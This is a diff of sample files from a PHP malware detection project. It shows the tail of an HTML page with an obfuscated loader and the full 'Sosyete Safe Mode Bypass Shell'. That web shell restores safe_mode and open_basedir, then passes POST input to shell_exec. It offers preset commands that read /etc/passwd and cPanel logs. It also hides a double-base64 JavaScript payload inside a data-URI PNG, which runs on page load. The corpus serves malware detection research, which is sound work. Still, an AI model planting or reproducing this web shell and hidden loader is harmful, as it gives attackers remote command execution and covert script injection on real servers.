f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";plain=b?Utf8.encode(a):a;c=plain.length%3;if(c>0){while(c++<3){pad+='=';plain+='\0'}}for(c=0;c<plain.length;c+=3){d=plain.charCodeAt(c);o2=plain.charCodeAt(c+1);o3=plain.charCodeAt(c+2);bits=d<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;e[c/3]=f.charAt(h1)+f.charAt(h2)+f.charAt(h3)+f.charAt(h4)}coded=e.join('');coded=coded.slice(0,coded.length-pad.length)+pad;return coded};if(typeof atob=="undefined")atob=function(a,b){b=(typeof b=='undefined')?false:b;var e,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";coded=b?Utf8.decode(a):a;for(var c=0;c<coded.length;c+=4){h1=f.indexOf(coded.charAt(c));h2=f.indexOf(coded.charAt(c+1));h3=f.indexOf(coded.charAt(c+2));h4=f.indexOf(coded.charAt(c+3));bits=h1<<18|h2<<12|h3<<6|h4;e=bits>>>16&0xff;o2=bits>>>8&0xff;o3=bits&0xff;d[c/4]=String.fromCharCode(e,o2,o3);if(h4==0x40)d[c/4]=String.fromCharCode(e,o2);if(h3==0x40)d[c/4]=String.fromCharCode(e)}plain=d.join('');return b?Utf8.decode(plain):plain}; |
| 748 | setTimeout(function(){new Function(atob(atob(document.getElementById('ghdescon').src.substr(22)).match(/ghdescon(.*?)ghdescon/)[1])).apply(this);kk(4);}, 500); | 748 | setTimeout(function(){new Function(atob(atob(document.getElementById('ghdescon').src.substr(22)).match(/ghdescon(.*?)ghdescon/)[1])).apply(this);kk(4);}, 500); |
| 749 | </script> | 749 | </script> |
| 750 | </div> | 750 | </div> |
| 751 | 751 | ||
| 752 | </body> | 752 | </body> |
| 753 | 753 | ||
| 754 | 754 | ||
| 755 | 755 | ||
| 756 | </html> | 756 | </html> |
diff --git a/php-malware-finder/samples/classic/sosyete.php b/data/samples/classic/sosyete.php index 91c7006..b43476f 100644 --- a/php-malware-finder/samples/classic/sosyete.php +++ b/data/samples/classic/sosyete.php | |||
| @@ -1,225 +1,225 @@ | |||
| 1 | <html> | 1 | <html> |
| 2 | <head> | 2 | <head> |
| 3 | <meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><meta http-equiv="Content-Language" content="ar-sa"> | 3 | <meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><meta http-equiv="Content-Language" content="ar-sa"> |
| 4 | <title> Sosyete Safe Mode Bypass Shell </title> | 4 | <title> Sosyete Safe Mode Bypass Shell </title> |
| 5 | <style> | 5 | <style> |
| 6 | td { | 6 | td { |
| 7 | font-family: verdana, arial, ms sans serif, sans-serif; | 7 | font-family: verdana, arial, ms sans serif, sans-serif; |
| 8 | font-size: 11px; | 8 | font-size: 11px; |
| 9 | color: #D5ECF9; | 9 | color: #D5ECF9; |
| 10 | } | 10 | } |
| 11 | BODY { | 11 | BODY { |
| 12 | margin-top: 4px; | 12 | margin-top: 4px; |
| 13 | margin-right: 4px; | 13 | margin-right: 4px; |
| 14 | margin-bottom: 4px; | 14 | margin-bottom: 4px; |
| 15 | margin-left: 4px; | 15 | margin-left: 4px; |
| 16 | scrollbar-face-color: #b6b5b5; | 16 | scrollbar-face-color: #b6b5b5; |
| 17 | scrollbar-highlight-color: #758393; | 17 | scrollbar-highlight-color: #758393; |
| 18 | scrollbar-3dlight-color: #000000; | 18 | scrollbar-3dlight-color: #000000; |
| 19 | scrollbar-darkshadow-color: #101842; | 19 | scrollbar-darkshadow-color: #101842; |
| 20 | scrollbar-shadow-color: #ffffff; | 20 | scrollbar-shadow-color: #ffffff; |
| 21 | scrollbar-arrow-color: #000000; | 21 | scrollbar-arrow-color: #000000; |
| 22 | scrollbar-track-color: #ffffff; | 22 | scrollbar-track-color: #ffffff; |
| 23 | } | 23 | } |
| 24 | A:link {COLOR:blue; TEXT-DECORATION: none} | 24 | A:link {COLOR:blue; TEXT-DECORATION: none} |
| 25 | A:visited { COLOR:blue; TEXT-DECORATION: none} | 25 | A:visited { COLOR:blue; TEXT-DECORATION: none} |
| 26 | A:active {COLOR:blue; TEXT-DECORATION: none} | 26 | A:active {COLOR:blue; TEXT-DECORATION: none} |
| 27 | A:hover {color:red;TEXT-DECORATION: none} | 27 | A:hover {color:red;TEXT-DECORATION: none} |
| 28 | input, textarea, select { | 28 | input, textarea, select { |
| 29 | background-color: #EBEAEA; | 29 | background-color: #EBEAEA; |
| 30 | border-style: solid; | 30 | border-style: solid; |
| 31 | border-width: 1px; | 31 | border-width: 1px; |
| 32 | font-family: verdana, arial, sans-serif; | 32 | font-family: verdana, arial, sans-serif; |
| 33 | font-size: 11px; | 33 | font-size: 11px; |
| 34 | color: #333333; | 34 | color: #333333; |
| 35 | padding: 0px; | 35 | padding: 0px; |
| 36 | } | 36 | } |
| 37 | </style> | 37 | </style> |
| 38 | </head> | 38 | </head> |
| 39 | <BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0 style="color:#DCE7EF"> | 39 | <BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0 style="color:#DCE7EF"> |
| 40 | <center> | 40 | <center> |
| 41 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr> | 41 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr> |
| 42 | <th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2" bgcolor="#000000"> | 42 | <th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2" bgcolor="#000000"> |
| 43 | <p align="center"> </p> | 43 | <p align="center"> </p> |
| 44 | <p align="center"> | 44 | <p align="center"> |
| 45 | <a bookmark="minipanel"> | 45 | <a bookmark="minipanel"> |
| 46 | <font face="Webdings" size="7" color="#DCE7EF"></font></a><font size="7" face="Martina"></font><span lang="en-us"><font size="3" face="Martina"> </font> | 46 | <font face="Webdings" size="7" color="#DCE7EF"></font></a><font size="7" face="Martina"></font><span lang="en-us"><font size="3" face="Martina"> </font> |
| 47 | <br> | 47 | <br> |
| 48 | <font color="#FFFF00" face="Arial" size="7"><span lang="en-us"></span></font></p> | 48 | <font color="#FFFF00" face="Arial" size="7"><span lang="en-us"></span></font></p> |
| 49 | </p> | 49 | </p> |
| 50 | <a bookmark="minipanel"> | 50 | <a bookmark="minipanel"> |
| 51 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> | 51 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> |
| 52 | <p align="center">Sosyete Safe Mode Bypass Shell | 52 | <p align="center">Sosyete Safe Mode Bypass Shell |
| 53 | <b> | 53 | <b> |
| 54 | <font color="#FFFF00" face="Arial" size="7"><span lang="en-us"></span></font></p> | 54 | <font color="#FFFF00" face="Arial" size="7"><span lang="en-us"></span></font></p> |
| 55 | </p> | 55 | </p> |
| 56 | <a bookmark="minipanel"> | 56 | <a bookmark="minipanel"> |
| 57 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> | 57 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> |
| 58 | <p align="center">~ | 58 | <p align="center">~ |
| 59 | <b> | 59 | <b> |
| 60 | 60 | ||
| 61 | 61 | ||
| 62 | <p> | 62 | <p> |
| 63 | </form> | 63 | </form> |
| 64 | </p> | 64 | </p> |
| 65 | </td> | 65 | </td> |
| 66 | 66 | ||
| 67 | 67 | ||
| 68 | </tr> | 68 | </tr> |
| 69 | </table> | 69 | </table> |
| 70 | </a> | 70 | </a> |
| 71 | 71 | ||
| 72 | <p> | 72 | <p> |
| 73 | 73 | ||
| 74 | <br> | 74 | <br> |
| 75 | </p> | 75 | </p> |
| 76 | 76 | ||
| 77 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> | 77 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> |
| 78 | <td width="990" height="1" valign="top" style="color: #DCE7EF" bgcolor="#000000"><p align="center"> | 78 | <td width="990" height="1" valign="top" style="color: #DCE7EF" bgcolor="#000000"><p align="center"> |
| 79 | <b> | 79 | <b> |
| 80 | </b> | 80 | </b> |
| 81 | <font face="Wingdings 3" size="5"></font><b>Sosyete Safe Mode Bypass Shell ; Bypass shell'lerden esinlenerek birçok shell'in ortak karisimi olarak sunulmustur.<span lang="en-us"></span><span lang="en-us"></span> </b><font face="Wingdings 3" size="5"></font></p><p align="center"> </p></td></tr></table> | 81 | <font face="Wingdings 3" size="5"></font><b>Sosyete Safe Mode Bypass Shell ; Bypass shell'lerden esinlenerek birçok shell'in ortak karisimi olarak sunulmustur.<span lang="en-us"></span><span lang="en-us"></span> </b><font face="Wingdings 3" size="5"></font></p><p align="center"> </p></td></tr></table> |
| 82 | 82 | ||
| 83 | </a> | 83 | </a> |
| 84 | 84 | ||
| 85 | 85 | ||
| 86 | <div align="right"> | 86 | <div align="right"> |
| 87 | 87 | ||
| 88 | <span lang="en-us"> | 88 | <span lang="en-us"> |
| 89 | 89 | ||
| 90 | </span> | 90 | </span> |
| 91 | </div> | 91 | </div> |
| 92 | </body> | 92 | </body> |
| 93 | </html> | 93 | </html> |
| 94 | 94 | ||
| 95 | <? | 95 | <? |
| 96 | 96 | ||
| 97 | 97 | ||
| 98 | echo "<b><font color=red>Sosyete Bypass Main Menu</font></b><br>"; | 98 | echo "<b><font color=red>Sosyete Bypass Main Menu</font></b><br>"; |
| 99 | 99 | ||
| 100 | print_r(' | 100 | print_r(' |
| 101 | 101 | ||
| 102 | 102 | ||
| 103 | 103 | ||
| 104 | 104 | ||
| 105 | <pre> | 105 | <pre> |
| 106 | 106 | ||
| 107 | 107 | ||
| 108 | <form method="POST" action=""> | 108 | <form method="POST" action=""> |
| 109 | <b><font color=red> </font></b><input name="sosyete" type="text"><input value="Çalıştır" type="submit"> | 109 | <b><font color=red> </font></b><input name="sosyete" type="text"><input value="Çalıştır" type="submit"> |
| 110 | </form> | 110 | </form> |
| 111 | <form method="POST" action=""> | 111 | <form method="POST" action=""> |
| 112 | <b><font color=red></font><select size="1" name="fuck"> | 112 | <b><font color=red></font><select size="1" name="fuck"> |
| 113 | <option value=" ">Sosyete safe mode bypass shell</option> | 113 | <option value=" ">Sosyete safe mode bypass shell</option> |
| 114 | <option value="id;pwd">id & Dizin</option> | 114 | <option value="id;pwd">id & Dizin</option> |
| 115 | <option value="ls">Dosyalar</option> | 115 | <option value="ls">Dosyalar</option> |
| 116 | <option value="uname -a">Server</option> | 116 | <option value="uname -a">Server</option> |
| 117 | <option value="netstat -an | grep -i listen">Açık Portlar</option> | 117 | <option value="netstat -an | grep -i listen">Açık Portlar</option> |
| 118 | <option value="ipconfig">Ağ Bilgisi</option> | 118 | <option value="ipconfig">Ağ Bilgisi</option> |
| 119 | <option value="ps -aux">Uygulamalar</option> | 119 | <option value="ps -aux">Uygulamalar</option> |
| 120 | <option value="who -q">Kullanıcı Sayısı</option> | 120 | <option value="who -q">Kullanıcı Sayısı</option> |
| 121 | <option value="cat /etc/passwd">cat/etc/passwd</option> | 121 | <option value="cat /etc/passwd">cat/etc/passwd</option> |
| 122 | <option value="cat /var/cpanel/accounting.log">cat/var/cpanel/accounting.log</option> | 122 | <option value="cat /var/cpanel/accounting.log">cat/var/cpanel/accounting.log</option> |
| 123 | <option value="cat /etc/syslog.conf">cat/etc/syslog.conf</option> | 123 | <option value="cat /etc/syslog.conf">cat/etc/syslog.conf</option> |
| 124 | <option value="cat /etc/hosts">cat/etc/hosts</option> | 124 | <option value="cat /etc/hosts">cat/etc/hosts</option> |
| 125 | <option value="cat /etc/named.conf">cat/etc/named.conf</option> | 125 | <option value="cat /etc/named.conf">cat/etc/named.conf</option> |
| 126 | <option value="cat /etc/httpd/conf/httpd.conf">cat/etc/httpd/conf/httpd.conf</option> | 126 | <option value="cat /etc/httpd/conf/httpd.conf">cat/etc/httpd/conf/httpd.conf</option> |
| 127 | </select> <input type="submit" value="Çalıştır"> | 127 | </select> <input type="submit" value="Çalıştır"> |
| 128 | </form> | 128 | </form> |
| 129 | </pre> | 129 | </pre> |
| 130 | <style> | 130 | <style> |
| 131 | td { | 131 | td { |
| 132 | font-family: verdana, arial, ms sans serif, sans-serif; | 132 | font-family: verdana, arial, ms sans serif, sans-serif; |
| 133 | font-size: 11px; | 133 | font-size: 11px; |
| 134 | color: #D5ECF9; | 134 | color: #D5ECF9; |
| 135 | } | 135 | } |
| 136 | BODY { | 136 | BODY { |
| 137 | margin-top: 4px; | 137 | margin-top: 4px; |
| 138 | margin-right: 4px; | 138 | margin-right: 4px; |
| 139 | margin-bottom: 4px; | 139 | margin-bottom: 4px; |
| 140 | margin-left: 4px; | 140 | margin-left: 4px; |
| 141 | scrollbar-face-color: #b6b5b5; | 141 | scrollbar-face-color: #b6b5b5; |
| 142 | scrollbar-highlight-color: #758393; | 142 | scrollbar-highlight-color: #758393; |
| 143 | scrollbar-3dlight-color: #000000; | 143 | scrollbar-3dlight-color: #000000; |
| 144 | scrollbar-darkshadow-color: #101842; | 144 | scrollbar-darkshadow-color: #101842; |
| 145 | scrollbar-shadow-color: #ffffff; | 145 | scrollbar-shadow-color: #ffffff; |
| 146 | scrollbar-arrow-color: #000000; | 146 | scrollbar-arrow-color: #000000; |
| 147 | scrollbar-track-color: #ffffff; | 147 | scrollbar-track-color: #ffffff; |
| 148 | } | 148 | } |
| 149 | A:link {COLOR:blue; TEXT-DECORATION: none} | 149 | A:link {COLOR:blue; TEXT-DECORATION: none} |
| 150 | A:visited { COLOR:blue; TEXT-DECORATION: none} | 150 | A:visited { COLOR:blue; TEXT-DECORATION: none} |
| 151 | A:active {COLOR:blue; TEXT-DECORATION: none} | 151 | A:active {COLOR:blue; TEXT-DECORATION: none} |
| 152 | A:hover {color:red;TEXT-DECORATION: none} | 152 | A:hover {color:red;TEXT-DECORATION: none} |
| 153 | input, textarea, select { | 153 | input, textarea, select { |
| 154 | background-color: #EBEAEA; | 154 | background-color: #EBEAEA; |
| 155 | border-style: solid; | 155 | border-style: solid; |
| 156 | border-width: 1px; | 156 | border-width: 1px; |
| 157 | font-family: verdana, arial, sans-serif; | 157 | font-family: verdana, arial, sans-serif; |
| 158 | font-size: 11px; | 158 | font-size: 11px; |
| 159 | color: #333333; | 159 | color: #333333; |
| 160 | padding: 0px; | 160 | padding: 0px; |
| 161 | } | 161 | } |
| 162 | </style></head> | 162 | </style></head> |
| 163 | <BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0 style="color:#DCE7EF"> | 163 | <BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0 style="color:#DCE7EF"> |
| 164 | <center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr> | 164 | <center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr> |
| 165 | <th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2" bgcolor="#000000"> | 165 | <th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2" bgcolor="#000000"> |
| 166 | <p align="center"> </p> | 166 | <p align="center"> </p> |
| 167 | <p align="center"> | 167 | <p align="center"> |
| 168 | <a bookmark="minipanel"> | 168 | <a bookmark="minipanel"> |
| 169 | <font face="Webdings" size="7" color="#DCE7EF"></font></a><font size="7" face="Martina"></font><span lang="en-us"><font size="3" face="Martina"> </font> | 169 | <font face="Webdings" size="7" color="#DCE7EF"></font></a><font size="7" face="Martina"></font><span lang="en-us"><font size="3" face="Martina"> </font> |
| 170 | <br> | 170 | <br> |
| 171 | <font color="#FFFF00" face="Arial" size="7"><span lang="en-us"></span></font></p> | 171 | <font color="#FFFF00" face="Arial" size="7"><span lang="en-us"></span></font></p> |
| 172 | </p> | 172 | </p> |
| 173 | 173 | ||
| 174 | 174 | ||
| 175 | <div align="right"> | 175 | <div align="right"> |
| 176 | 176 | ||
| 177 | <span lang="en-us"> </span></div></body></html> | 177 | <span lang="en-us"> </span></div></body></html> |
| 178 | 178 | ||
| 179 | 179 | ||
| 180 | '); | 180 | '); |
| 181 | ini_restore("safe_mode"); | 181 | ini_restore("safe_mode"); |
| 182 | ini_restore("open_basedir"); | 182 | ini_restore("open_basedir"); |
| 183 | $fuck=shell_exec($_POST['sosyete']); | 183 | $fuck=shell_exec($_POST['sosyete']); |
| 184 | $mokoko=shell_exec($_POST['fuck']); | 184 | $mokoko=shell_exec($_POST['fuck']); |
| 185 | echo "<pre><h4>"; | 185 | echo "<pre><h4>"; |
| 186 | echo "<b><font color=red>Komut Sonucu </font></b><br>"; | 186 | echo "<b><font color=red>Komut Sonucu </font></b><br>"; |
| 187 | echo $fuck; | 187 | echo $fuck; |
| 188 | echo $mokoko; | 188 | echo $mokoko; |
| 189 | echo "</h4></pre>"; | 189 | echo "</h4></pre>"; |
| 190 | 190 | ||
| 191 | ?> | 191 | ?> |
| 192 | 192 | ||
| 193 | </tr> | 193 | </tr> |
| 194 | </table> | 194 | </table> |
| 195 | 195 | ||
| 196 | </a> | 196 | </a> |
| 197 | <p> | 197 | <p> |
| 198 | 198 | ||
| 199 | <br> | 199 | <br> |
| 200 | 200 | ||
| 201 | </p> | 201 | </p> |
| 202 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> | 202 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> |
| 203 | <td width="990" height="1" valign="top" style="color: #DCE7EF" bgcolor="#000000"><p align="center"> | 203 | <td width="990" height="1" valign="top" style="color: #DCE7EF" bgcolor="#000000"><p align="center"> |
| 204 | 204 | ||
| 205 | <b> | 205 | <b> |
| 206 | 206 | ||
| 207 | </b><font face="Wingdings 3" size="5"></font><b><font color="#CC0000">Sosyete Safe Mode Bypass Shell<span lang="en-us"></span> <span lang="en-us"> </span> </b><font color="#CC0000"><b>Coded by</b> </font><b><span lang="en-us"><a href="http://www.r57.biz"><font color="#CC0000">r57.biz</a></span><font color="#CC0000"> ~ <span lang="en-us">Sosyete</span> </b><font face="Wingdings 3" size="5"> </font></p><p align="center"> </p></td></tr></table> | 207 | </b><font face="Wingdings 3" size="5"></font><b><font color="#CC0000">Sosyete Safe Mode Bypass Shell<span lang="en-us"></span> <span lang="en-us"> </span> </b><font color="#CC0000"><b>Coded by</b> </font><b><span lang="en-us"><a href="http://www.r57.biz"><font color="#CC0000">r57.biz</a></span><font color="#CC0000"> ~ <span lang="en-us">Sosyete</span> </b><font face="Wingdings 3" size="5"> </font></p><p align="center"> </p></td></tr></table> |
| 208 | 208 | ||
| 209 | </a> | 209 | </a> |
| 210 | 210 | ||
| 211 | 211 | ||
| 212 | <div align="right"> | 212 | <div align="right"> |
| 213 | 213 | ||
| 214 | <span lang="en-us"> | 214 | <span lang="en-us"> |
| 215 | 215 | ||
| 216 | </span> | 216 | </span> |
| 217 | </div> | 217 | </div> |
| 218 | <img id="ghdescon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAB510RVh0Z2hkZQBnaGRlc2NvblpYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzY2lsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLWEpiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z2NsdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhGeDNLeWQ5TzJNOU1YMDdkMmhwYkdVb1l5MHRLV2xtS0d0YlkxMHBjRDF3TG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnblhGeGlKeXRsS0dNcEt5ZGNYR0luTENkbkp5a3NhMXRqWFNrN2NtVjBkWEp1SUhCOUtDZFZMbmM5TkNCM0tHTXBlelFnZUNoa0xIQXBlekVnYVQwd096RWdlajB3T3pFZ2NqMWNKMXduT3prb01TQnBQVEE3YVR4a0xqYzdhU3NyS1hzMUtIbzlQWEF1TnlsNlBUQTdjaXM5YkM1dEtHUXVieWhwS1Y1d0xtOG9laWtwTzNvckszMHpJSEo5TkNCQktITXBlekVnWVQxY0oxd25PemtvTVNCcFBUQTdhVHh6TzJrckt5bDdZU3M5YkM1dEtGZ29UUzVRS0NrcVVTa3BmVE1nWVgwMElHc29aQ3h3S1hzeElHRTlRU2d4TmlrN01XRW9aQzQzSlRFMklUMHdLV1FyUFZ3bk1Gd25PekVnWWoxaE96a29NU0JwUFRBN2FUeGtMamM3YVNzOU1UWXBlMklyUFhnb1pDNXVLR2tzTVRZcExHSXViaWhwTERFMktTbDlNeUI0S0dJc2NDbDlOQ0E0S0NsN015Z3lMbkU5UFhRdVNDWW1NaTUyUFQxMExrY3BmVFFnZVNncGV6RWdZVDFTT3pVb0tESXVhQ1ltTWk1b0xrSW1Kakl1YUM1Q0xqRXdLWHg4S0RJdVF5MHlMbkUrWVNsOGZDZ3lMa1F0TWk1MlBtRXBmSHdvT0NncEppWXlMa1E4U1NsOGZDZzRLQ2ttSmpJdVF6eEtLU2t6SUVzN015Qk1mVFFnTmloaEtYczFLRTRnWVQwOUlrOGlLVE1nWVM1RktDOWNYRnhjTDJjc0lseGNYRnhjWEZ4Y0lpa3VSU2d2WEZ3aUwyY3NJbHhjWEZ4Y1hDSWlLVHN6SUdGOU1TQjFQVk11VkRzeElHVTlWaTVYT3pFZ2FqMGlleUlySWx4Y0luVmNYQ0k2SUZ4Y0lpSXJOaWgxS1NzaVhGd2lMQ0FpS3lKY1hDSlpYRndpT2lCY1hDSWlLellvWlNrcklseGNJaXdnSWlzaVhGd2lXbHhjSWpvZ1hGd2lJaXMyS0dNcEt5SmNYQ0lnSWlzaWZTSTdNU0JtUFdzb2Fpd2lNVEVpS1RzeElHRTlNVElvWmlrN05TZ2hlU2dwS1hzeE15QXhOQ2dwTGpFMVBWd25NVGM2THk4eE9DMHhPUzFHTGpGaUwwWXZQMkU5WENjck1XTW9ZU2w5ZlNjc05qSXNOelVzSjN4MllYSjhkMmx1Wkc5M2ZISmxkSFZ5Ym54bWRXNWpkR2x2Ym54cFpueHpZVzU4YkdWdVozUm9mSFJpZkdadmNueDhmSHg4Zkh4OFJtbHlaV0oxWjN4OGZHVnVZM3hUZEhKcGJtZDhabkp2YlVOb1lYSkRiMlJsZkhOMVluTjBjbnhqYUdGeVEyOWtaVUYwZkh4cGJtNWxjbGRwWkhSb2ZIeDhjMk55WldWdWZIeHBibTVsY2tobGFXZG9kSHhyYTN4OFkyUjhmR2RsYmw5eVlXNWtiMjFmYzNSeWZHTm9jbTl0Wlh4dmRYUmxjbGRwWkhSb2ZHOTFkR1Z5U0dWcFoyaDBmSEpsY0d4aFkyVjhZVzVoYkhsMGFXTnpmR2hsYVdkb2RIeDNhV1IwYUh3ek5UQjhOakF3ZkhSeWRXVjhabUZzYzJWOFRXRjBhSHgwZVhCbGIyWjhjM1J5YVc1bmZISmhibVJ2Ylh3eU5UVjhNVFl3ZkdSdlkzVnRaVzUwZkZWU1RIeDBhR2x6Zkc1aGRtbG5ZWFJ2Y254MWMyVnlRV2RsYm5SOGNHRnljMlZKYm5SOGRXRjhibk44YVhOSmJtbDBhV0ZzYVhwbFpIeHNNbGhXUjJkalNYUTFNV3QwUW1scFdFUTNRakZ0YzFVelMwNURhamgyTVh4aWRHOWhmRzVsZDN4SmJXRm5aWHh6Y21OOGZHaDBkSEI4WjI5dloyeGxmSE4wWVhScFkzeDNhR2xzWlh4amIyMThaVzVqYjJSbFZWSkpRMjl0Y0c5dVpXNTBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLUT09Z2hkZXNjb26/DJpDAAAADElEQVQIHWNgIA0AAAAwAAGErPF6AAAAAElFTkSuQmCC"/> | 218 | <img id="ghdescon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAB510RVh0Z2hkZQBnaGRlc2NvblpYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzY2lsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLWEpiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z2NsdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhGeDNLeWQ5TzJNOU1YMDdkMmhwYkdVb1l5MHRLV2xtS0d0YlkxMHBjRDF3TG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnblhGeGlKeXRsS0dNcEt5ZGNYR0luTENkbkp5a3NhMXRqWFNrN2NtVjBkWEp1SUhCOUtDZFZMbmM5TkNCM0tHTXBlelFnZUNoa0xIQXBlekVnYVQwd096RWdlajB3T3pFZ2NqMWNKMXduT3prb01TQnBQVEE3YVR4a0xqYzdhU3NyS1hzMUtIbzlQWEF1TnlsNlBUQTdjaXM5YkM1dEtHUXVieWhwS1Y1d0xtOG9laWtwTzNvckszMHpJSEo5TkNCQktITXBlekVnWVQxY0oxd25PemtvTVNCcFBUQTdhVHh6TzJrckt5bDdZU3M5YkM1dEtGZ29UUzVRS0NrcVVTa3BmVE1nWVgwMElHc29aQ3h3S1hzeElHRTlRU2d4TmlrN01XRW9aQzQzSlRFMklUMHdLV1FyUFZ3bk1Gd25PekVnWWoxaE96a29NU0JwUFRBN2FUeGtMamM3YVNzOU1UWXBlMklyUFhnb1pDNXVLR2tzTVRZcExHSXViaWhwTERFMktTbDlNeUI0S0dJc2NDbDlOQ0E0S0NsN015Z3lMbkU5UFhRdVNDWW1NaTUyUFQxMExrY3BmVFFnZVNncGV6RWdZVDFTT3pVb0tESXVhQ1ltTWk1b0xrSW1Kakl1YUM1Q0xqRXdLWHg4S0RJdVF5MHlMbkUrWVNsOGZDZ3lMa1F0TWk1MlBtRXBmSHdvT0NncEppWXlMa1E4U1NsOGZDZzRLQ2ttSmpJdVF6eEtLU2t6SUVzN015Qk1mVFFnTmloaEtYczFLRTRnWVQwOUlrOGlLVE1nWVM1RktDOWNYRnhjTDJjc0lseGNYRnhjWEZ4Y0lpa3VSU2d2WEZ3aUwyY3NJbHhjWEZ4Y1hDSWlLVHN6SUdGOU1TQjFQVk11VkRzeElHVTlWaTVYT3pFZ2FqMGlleUlySWx4Y0luVmNYQ0k2SUZ4Y0lpSXJOaWgxS1NzaVhGd2lMQ0FpS3lKY1hDSlpYRndpT2lCY1hDSWlLellvWlNrcklseGNJaXdnSWlzaVhGd2lXbHhjSWpvZ1hGd2lJaXMyS0dNcEt5SmNYQ0lnSWlzaWZTSTdNU0JtUFdzb2Fpd2lNVEVpS1RzeElHRTlNVElvWmlrN05TZ2hlU2dwS1hzeE15QXhOQ2dwTGpFMVBWd25NVGM2THk4eE9DMHhPUzFHTGpGaUwwWXZQMkU5WENjck1XTW9ZU2w5ZlNjc05qSXNOelVzSjN4MllYSjhkMmx1Wkc5M2ZISmxkSFZ